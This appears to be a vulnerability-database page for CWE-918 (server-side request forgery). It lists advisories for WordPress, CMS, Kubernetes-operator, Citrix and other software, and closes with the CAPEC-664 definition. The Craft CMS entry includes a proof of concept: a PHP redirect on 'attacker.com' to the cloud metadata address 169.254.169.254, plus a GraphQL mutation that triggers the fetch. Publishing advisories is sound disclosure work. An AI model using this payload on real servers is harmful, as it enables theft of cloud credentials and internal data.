Common Weakness Enumeration
CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
6005 vulnerabilities reference this CWE, most recent first.
GHSA-8HV6-F9FQ-QP39
Vulnerability from github – Published: 2025-11-18 12:30 – Updated: 2026-04-08 18:33
VLAI
Details
The WP Migrate Lite – WordPress Migration Made Easy plugin for WordPress is vulnerable to Blind Server-Side Request Forgery in all versions up to, and including, 2.7.6 via the wpmdb_flush AJAX action. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to obtain information about internal services.
Severity
5.8 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-11427"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-18T11:15:44Z",
"severity": "MODERATE"
},
"details": "The WP Migrate Lite \u2013 WordPress Migration Made Easy plugin for WordPress is vulnerable to Blind Server-Side Request Forgery in all versions up to, and including, 2.7.6 via the wpmdb_flush AJAX action. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to obtain information about internal services.",
"id": "GHSA-8hv6-f9fq-qp39",
"modified": "2026-04-08T18:33:58Z",
"published": "2025-11-18T12:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11427"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wp-migrate-db/tags/2.7.5/class/Common/Migration/Flush.php#L69"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wp-migrate-db/tags/2.7.5/class/Common/MigrationPersistence/Persistence.php#L50"
},
{
"type": "WEB",
"url": "https://research.cleantalk.org/cve-2025-11427"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4b098711-ed01-4a71-b0df-30ff4fffa930?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8J6W-PPX3-P99G
Vulnerability from github – Published: 2026-08-25 18:31 – Updated: 2026-08-25 18:31
VLAI
Details
Under specific circumstances, low-level user can run request to remote CocoaPods repos via JFrog Artifactory External Dependency.
Severity
{
"affected": [],
"aliases": [
"CVE-2026-70548"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-25T16:17:08Z",
"severity": "LOW"
},
"details": "Under specific circumstances, low-level user can run request to remote CocoaPods repos via JFrog Artifactory External Dependency.",
"id": "GHSA-8j6w-ppx3-p99g",
"modified": "2026-08-25T18:31:52Z",
"published": "2026-08-25T18:31:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-70548"
},
{
"type": "WEB",
"url": "https://docs.jfrog.com/releases/docs/artifactory-self-managed-releases"
},
{
"type": "WEB",
"url": "https://docs.jfrog.com/releases/docs/jfrog-security-advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-8J7F-G9GV-7JHC
Vulnerability from github – Published: 2026-04-10 00:30 – Updated: 2026-04-10 20:19
Withdrawn 2026-04-10
VLAI
Summary
Duplicate Advisory: OpenClaw: SSRF via Unguarded Configured Base URLs in Multiple Channel Extensions (Incomplete Fix for CVE-2026-28476)
Details
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-rhfg-j8jq-7v2h. This link is maintained to preserve external references.
Original Description
OpenClaw before 2026.3.25 contains a server-side request forgery vulnerability in multiple channel extensions that fail to properly guard configured base URLs against SSRF attacks. Attackers can exploit unprotected fetch() calls against configured endpoints to rebind requests to blocked internal destinations and access restricted resources.
Severity
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.3.28"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T20:19:19Z",
"nvd_published_at": "2026-04-09T22:16:31Z",
"severity": "MODERATE"
},
"details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-rhfg-j8jq-7v2h. This link is maintained to preserve external references.\n\n### Original Description\nOpenClaw before 2026.3.25 contains a server-side request forgery vulnerability in multiple channel extensions that fail to properly guard configured base URLs against SSRF attacks. Attackers can exploit unprotected fetch() calls against configured endpoints to rebind requests to blocked internal destinations and access restricted resources.",
"id": "GHSA-8j7f-g9gv-7jhc",
"modified": "2026-04-10T20:19:19Z",
"published": "2026-04-10T00:30:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-rhfg-j8jq-7v2h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35629"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/f92c92515bd439a71bd03eb1bc969c1964f17acf"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-server-side-request-forgery-via-unguarded-configured-base-urls-in-channel-extensions"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: OpenClaw: SSRF via Unguarded Configured Base URLs in Multiple Channel Extensions (Incomplete Fix for CVE-2026-28476)",
"withdrawn": "2026-04-10T20:19:19Z"
}
GHSA-8JFR-H5WV-8VHV
Vulnerability from github – Published: 2026-07-30 12:32 – Updated: 2026-07-30 12:32
VLAI
Details
A flaw was found in koku-metrics-operator. The operator's CostManagementMetricsConfig custom resource allows user able to edit the CR to specify an arbitrary upload URL. When authentication.type is set to token (the default), the cluster-global Red Hat Cloud pull-secret bearer token is attached to HTTP requests sent to this user-controlled URL, allowing the attacker to obtain the token.
Severity
7.6 (High)
{
"affected": [],
"aliases": [
"CVE-2026-18378"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-30T12:17:27Z",
"severity": "HIGH"
},
"details": "A flaw was found in koku-metrics-operator. The operator\u0027s CostManagementMetricsConfig custom resource allows user able to edit the CR to specify an arbitrary upload URL. When authentication.type is set to token (the default), the cluster-global Red Hat Cloud pull-secret bearer token is attached to HTTP requests sent to this user-controlled URL, allowing the attacker to obtain the token.",
"id": "GHSA-8jfr-h5wv-8vhv",
"modified": "2026-07-30T12:32:19Z",
"published": "2026-07-30T12:32:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18378"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-18378"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2509249"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8JGX-W564-2R36
Vulnerability from github – Published: 2022-05-24 19:13 – Updated: 2022-05-24 19:13
VLAI
Details
eyoucms 1.5.4 lacks sanitization of input data, allowing an attacker to inject a url to trigger blind SSRF via the saveRemote() function.
{
"affected": [],
"aliases": [
"CVE-2021-39497"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-07T20:15:00Z",
"severity": "CRITICAL"
},
"details": "eyoucms 1.5.4 lacks sanitization of input data, allowing an attacker to inject a url to trigger blind SSRF via the saveRemote() function.",
"id": "GHSA-8jgx-w564-2r36",
"modified": "2022-05-24T19:13:06Z",
"published": "2022-05-24T19:13:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39497"
},
{
"type": "WEB",
"url": "https://github.com/KietNA-HPT/CVE"
},
{
"type": "WEB",
"url": "https://github.com/eyoucms/eyoucms/releases/tag/v1.5.4"
},
{
"type": "WEB",
"url": "http://hptcybersec.com/ssrf_PoC.jpg"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-8JJ3-GF74-G749
Vulnerability from github – Published: 2022-05-14 03:40 – Updated: 2022-05-14 03:40
VLAI
Details
Citrix NetScaler VPX through NS12.0 53.13.nc allows an SSRF attack via the /rapi/read_url URI by an authenticated attacker who has a webapp account. The attacker can gain access to the nsroot account, and execute remote commands with root privileges.
Severity
8.8 (High)
{
"affected": [],
"aliases": [
"CVE-2018-6186"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-02-01T14:29:00Z",
"severity": "HIGH"
},
"details": "Citrix NetScaler VPX through NS12.0 53.13.nc allows an SSRF attack via the /rapi/read_url URI by an authenticated attacker who has a webapp account. The attacker can gain access to the nsroot account, and execute remote commands with root privileges.",
"id": "GHSA-8jj3-gf74-g749",
"modified": "2022-05-14T03:40:37Z",
"published": "2022-05-14T03:40:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-6186"
},
{
"type": "WEB",
"url": "https://gist.github.com/buxu/04ce809eb8b32ef57e232eab5e61f023"
},
{
"type": "WEB",
"url": "https://support.citrix.com/article/CTX232161"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/102915"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1040440"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8JJJ-988V-WWGG
Vulnerability from github – Published: 2026-09-15 00:31 – Updated: 2026-09-15 00:31
VLAI
Details
Refly through 1.1.0 contains a server-side request forgery vulnerability in the POST /v1/misc/scrape endpoint that fetches caller-supplied URLs without validating the scheme, host, or resolved address. Authenticated attackers can make the backend issue requests to loopback, private, and link-local addresses including cloud metadata services to read page titles and descriptions of internal resources.
Severity
5.0 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-91199"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-14T23:19:00Z",
"severity": "MODERATE"
},
"details": "Refly through 1.1.0 contains a server-side request forgery vulnerability in the POST /v1/misc/scrape endpoint that fetches caller-supplied URLs without validating the scheme, host, or resolved address. Authenticated attackers can make the backend issue requests to loopback, private, and link-local addresses including cloud metadata services to read page titles and descriptions of internal resources.",
"id": "GHSA-8jjj-988v-wwgg",
"modified": "2026-09-15T00:31:15Z",
"published": "2026-09-15T00:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-91199"
},
{
"type": "WEB",
"url": "https://github.com/refly-ai/refly/issues/2280"
},
{
"type": "WEB",
"url": "https://github.com/refly-ai/refly"
},
{
"type": "WEB",
"url": "https://github.com/refly-ai/refly/blob/77fb0ca184251bba7380cbac2dbdf7a6c9944652/apps/api/src/modules/misc/misc.controller.ts#L38-L43"
},
{
"type": "WEB",
"url": "https://github.com/refly-ai/refly/blob/77fb0ca184251bba7380cbac2dbdf7a6c9944652/packages/utils/src/scrape-weblink.ts"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/refly-through-1.1.0-server-side-request-forgery-via-scrape-endpoint"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8JMG-VW84-Q638
Vulnerability from github – Published: 2022-05-24 19:15 – Updated: 2022-05-24 19:15
VLAI
Details
Server Side Request Forgery (SSRF) vulnerability exists in Discourse 2.3.2 and 2.6 via the email function. When writing an email in an editor, you can upload pictures of remote websites.
{
"affected": [],
"aliases": [
"CVE-2020-24327"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-23T18:15:00Z",
"severity": "MODERATE"
},
"details": "Server Side Request Forgery (SSRF) vulnerability exists in Discourse 2.3.2 and 2.6 via the email function. When writing an email in an editor, you can upload pictures of remote websites.",
"id": "GHSA-8jmg-vw84-q638",
"modified": "2022-05-24T19:15:30Z",
"published": "2022-05-24T19:15:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24327"
},
{
"type": "WEB",
"url": "https://github.com/purple-WL/Discourse-sending-email-function-exist-Server-side-request-forgery-SSRF-/issues/1"
},
{
"type": "WEB",
"url": "https://github.com/discourse/discourse/pull/10509"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-8JR8-7HR4-VHFX
Vulnerability from github – Published: 2026-02-09 20:35 – Updated: 2026-02-09 22:38
VLAI
Summary
Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via HTTP Redirect
Details
Summary
The saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.
Proof of Concept
- Host a redirect script on your server (e.g.
redirect.php):
<?php header("Location: http://169.254.169.254/latest/meta-data/"); ?>
- Send the following GraphQL mutation:
mutation {
save_images_Asset(_file: {
url: "https://attacker.com/redirect.php"
filename: "metadata.txt"
}) {
id
}
}
- The application validates
attacker.com(passes) - Guzzle follows the redirect to
169.254.169.254 - Cloud metadata is saved as an asset
Mitigation
- Disable redirects.
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.8.21"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-RC1"
},
{
"fixed": "5.8.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.16.17"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-RC1"
},
{
"fixed": "4.16.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25493"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-09T20:35:30Z",
"nvd_published_at": "2026-02-09T20:15:57Z",
"severity": "MODERATE"
},
"details": "## Summary\nThe `saveAsset` GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.\n\n---\n## Proof of Concept\n1. Host a redirect script on your server (e.g. `redirect.php`):\n```php\n\u003c?php header(\"Location: http://169.254.169.254/latest/meta-data/\"); ?\u003e\n```\n2. Send the following GraphQL mutation:\n```graphql\nmutation {\n save_images_Asset(_file: { \n url: \"https://attacker.com/redirect.php\"\n filename: \"metadata.txt\"\n }) {\n id\n }\n}\n```\n3. The application validates `attacker.com` (passes)\n4. Guzzle follows the redirect to `169.254.169.254`\n5. Cloud metadata is saved as an asset\n\n---\n## Mitigation\n- Disable redirects.",
"id": "GHSA-8jr8-7hr4-vhfx",
"modified": "2026-02-09T22:38:33Z",
"published": "2026-02-09T20:35:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-8jr8-7hr4-vhfx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25493"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/commit/0974055634af68998f67850ab2045d8aaa19fa98"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftcms/cms"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/releases/tag/4.16.18"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/releases/tag/5.8.22"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via HTTP Redirect"
}
GHSA-8JRJ-57GQ-475G
Vulnerability from github – Published: 2022-05-24 17:25 – Updated: 2023-01-31 18:30
VLAI
Details
** DISPUTED ** Prometheus Blackbox Exporter through 0.17.0 allows /probe?target= SSRF. NOTE: follow-on discussion suggests that this might plausibly be interpreted as both intended functionality and also a vulnerability.
Severity
5.8 (Medium)
{
"affected": [],
"aliases": [
"CVE-2020-16248"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-08-09T17:15:00Z",
"severity": "MODERATE"
},
"details": "** DISPUTED ** Prometheus Blackbox Exporter through 0.17.0 allows /probe?target= SSRF. NOTE: follow-on discussion suggests that this might plausibly be interpreted as both intended functionality and also a vulnerability.",
"id": "GHSA-8jrj-57gq-475g",
"modified": "2023-01-31T18:30:23Z",
"published": "2022-05-24T17:25:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-16248"
},
{
"type": "WEB",
"url": "https://github.com/prometheus/blackbox_exporter/issues/669"
},
{
"type": "WEB",
"url": "https://prometheus.io/docs/operating/security/#exporters"
},
{
"type": "WEB",
"url": "https://seclists.org/oss-sec/2020/q3/94"
},
{
"type": "WEB",
"url": "https://www.openwall.com/lists/oss-security/2020/08/08/12"
},
{
"type": "WEB",
"url": "https://www.openwall.com/lists/oss-security/2020/08/08/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.